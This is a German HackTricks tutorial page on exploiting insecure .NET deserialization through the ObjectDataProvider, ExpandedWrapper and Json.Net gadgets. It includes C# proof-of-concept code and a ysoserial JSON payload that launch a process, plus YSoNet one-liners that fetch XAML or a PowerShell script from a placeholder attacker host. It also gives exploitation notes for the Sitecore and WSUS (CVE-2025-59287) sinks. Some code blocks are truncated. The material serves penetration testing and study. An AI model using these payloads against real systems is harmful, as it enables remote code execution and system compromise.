Grundlegende .Net-Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper und Json.Net)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Dieser Beitrag erklärt, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erreichen, und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.
ObjectDataProvider Gadget
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, das ist eine merkwürdige Erklärung, also sehen wir uns an, was diese Klasse so interessant macht: Diese Klasse erlaubt es, ein beliebiges Objekt zu wrappen, MethodParameters zu verwenden, um beliebige Parameter zu setzen, und dann mit MethodName eine beliebige Funktion des beliebigen Objekts aufzurufen, die mit den angegebenen Parametern deklariert wurde.
Daher wird das beliebige Objekt eine Funktion mit Parametern während der Deserialisierung ausführen.
Wie ist das möglich
Der Namespace System.Windows.Data, enthalten in PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.
Mit dnSpy können Sie den Code der Klasse, die uns interessiert, untersuchen. Im Bild unten sehen wir den Code von PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name
.png)
Wie Sie sehen können, wird beim Setzen von MethodName base.Refresh() aufgerufen. Schauen wir uns an, was das macht:
.png)
Ok, schauen wir weiter, was this.BeginQuery() macht. BeginQuery wird von ObjectDataProvider überschrieben und dies ist, was es macht:
.png)
Beachten Sie, dass am Ende des Codes this.QueryWorke(null) aufgerufen wird. Sehen wir, was das ausführt:
.png)
Beachten Sie, dass dies nicht der komplette Code der Funktion QueryWorker ist, aber es zeigt den interessanten Teil: Der Code ruft this.InvokeMethodOnInstance(out ex); auf — das ist die Zeile, in der die festgelegte Methode ausgeführt wird.
Wenn Sie prüfen möchten, dass allein das Setzen von MethodName zur Ausführung führt, können Sie diesen Code ausführen:
C# Demo: ObjectDataProvider löst Process.Start aus
```csharp using System.Windows.Data; using System.Diagnostics;namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }
</details>
Beachte, dass du als Verweis _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ hinzufügen musst, um `System.Windows.Data` zu laden
## ExpandedWrapper
Bei Verwendung des vorherigen Exploits gibt es Fälle, in denen das **object** als _**ObjectDataProvider**_ Instanz **deserialisiert as** wird (zum Beispiel bei der DotNetNuke vuln: mit XmlSerializer wurde das Objekt mittels `GetType` deserialisiert). Dann besteht **no knowledge of the object type that is wrapped** in der _ObjectDataProvider_ Instanz (`Process` zum Beispiel). Du findest mehr [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Diese Klasse erlaubt es, **die Objekttypen der in einer Instanz gekapselten Objekte anzugeben**. Somit kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp zu kapseln und die benötigten Eigenschaften bereitzustellen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).\
Das ist sehr nützlich für Fälle wie den zuvor beschriebenen, denn wir können **wrap _ObjectDataProvider_ inside an _ExpandedWrapper_ instance** und **when deserialized** erzeugt diese Klasse das _**OjectDataProvider**_ Objekt, das die in _**MethodName**_ angegebene **function** ausführt.
You can check this wrapper with the following code:
<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Auf der offiziellen Webseite wird angegeben, dass diese Bibliothek es ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider gadget deserialisieren könnten, könnten wir allein durch die Deserialisierung eines Objekts eine RCE auslösen.
Json.Net Beispiel
Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek serialisiert/deserialisiert:
C# Demo: Json.NET serialisieren/deserialisieren
```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject
</details>
### Missbrauch von Json.Net
Mit [ysoserial.net](https://github.com/pwntester/ysoserial.net) habe ich den Exploit erstellt:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
In diesem Code können Sie den exploit testen — führen Sie ihn einfach aus und Sie werden sehen, dass calc ausgeführt wird:
C# demo: Json.NET ObjectDataProvider exploitation PoC
```csharp using System; using System.Text; using Newtonsoft.Json;namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject
</details>
## Erweiterte .NET Gadget-Ketten (YSoNet & ysoserial.net)
Die oben eingeführte ObjectDataProvider + ExpandedWrapper-Technik ist nur eine von VIELEN Gadget-Ketten, die ausgenutzt werden können, wenn eine Anwendung unsichere .NET deserialization durchführt. Moderne red-team-Tools wie **[YSoNet](https://github.com/irsdl/ysonet)** (und das ältere [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisieren die Erstellung von sofort einsetzbaren bösartigen Objektgraphen für Dutzende von Gadgets und Serialisierungsformaten.
Nachfolgend eine komprimierte Referenz der nützlichsten Ketten, die mit *YSoNet* geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen, um die Payloads zu erzeugen.
| Gadget-Chain | Kernidee / Primitive | Gängige Serializer | YSoNet One-Liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Beschädigt den `DelegateSerializationHolder`-Eintrag so, dass der Delegate nach Materialisierung auf *jede* vom Angreifer bereitgestellte Methode zeigt (z. B. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Missbraucht `System.Workflow.ComponentModel.ActivitySurrogateSelector`, um das .NET ≥4.8 Type-Filtering zu umgehen und direkt den **Konstruktor** einer gelieferten Klasse aufzurufen oder eine C#-Datei dynamisch zu kompilieren | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Nutzt die **veraltete XML**-Darstellung von `System.Data.DataSet`, um beliebige Typen zu instanziieren, indem die `<ColumnMapping>` / `<DataType>`-Felder gefüllt werden (optional die Assembly mit `--spoofedAssembly` vortäuschen) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Auf WPF-aktivierten Laufzeiten (> .NET 5) werden Property-Getter verkettet, bis `System.CodeDom.Compiler.CompilerResults` erreicht ist, und dann eine mit `-c` gelieferte DLL *kompiliert* oder *geladen* | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Verwendet WPF `System.Windows.Data.ObjectDataProvider`, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine bequeme `--xamlurl`-Variante hinzu, um das bösartige XAML remote zu hosten | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Betten `ScriptBlock` in `System.Management.Automation.PSObject` ein, das ausgeführt wird, wenn PowerShell das Objekt deserialisiert | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Alle Payloads werden standardmäßig auf **stdout** geschrieben, was es trivial macht, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, base64-Encoder, HTTP-Clients).
### Bauen / Installieren von YSoNet
Wenn keine vorkompilierten Binaries unter *Actions ➜ Artifacts* / *Releases* verfügbar sind, richtet der folgende **PowerShell**-One-Liner eine Build-Umgebung ein, klont das Repository und kompiliert alles im *Release*-Modus:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Die kompilierte ysonet.exe befindet sich dann unter ysonet/bin/Release/.
Praxisnaher sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Ein praxisnaher .NET sink, erreichbar in authentifizierten Sitecore XP Content Editor‑Abläufen:
- Sink API:
Sitecore.Convert.Base64ToObject(string)verwendetnew BinaryFormatter().Deserialize(...). - Auslösepfad: Pipeline
convertToRuntimeHtml→ConvertWebControls, die nach einem Geschwister-Element mitid="{iframeId}_inner"sucht und einvalue-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird in einen string gecastet und in das HTML eingefügt.
Authentifizierter Sitecore sink: HTTP‑Ablauf des Triggers
```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…
</details>
- Gadget: jede BinaryFormatter-Kette, die einen string zurückgibt (Nebenwirkungen laufen während der Deserialisierung). Siehe YSoNet/ysoserial.net, um Payloads zu generieren.
Für eine vollständige Kette, die pre‑auth mit HTML cache poisoning in Sitecore beginnt und zu diesem Sink führt:
<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>
## Fallstudie: Unsichere .NET-Deserialisierung in WSUS (CVE-2025-59287)
- Product/role: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
- Root cause: Nicht authentifizierte Deserialisierung von vom Angreifer kontrollierten Daten unter Verwendung veralteter Formatter:
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- Impact: Ein manipuliertes serialisiertes Objekt löst während der Deserialisierung eine Gadget-Kette aus, die zur Ausführung beliebigen Codes als `NT AUTHORITY\SYSTEM` unter entweder dem WSUS-Dienst (`wsusservice.exe`) oder dem IIS-App-Pool `wsuspool` (`w3wp.exe`) führt.
Praktische Hinweise zur Ausnutzung
- Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter`/`SoapFormatter` payloads.
- Payloads: Verwenden Sie YSoNet/ysoserial.net, um `BinaryFormatter` oder `SoapFormatter`-Ketten zu erzeugen (z. B. `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Expected process lineage on success:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
## Referenzen
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>
HackTricks

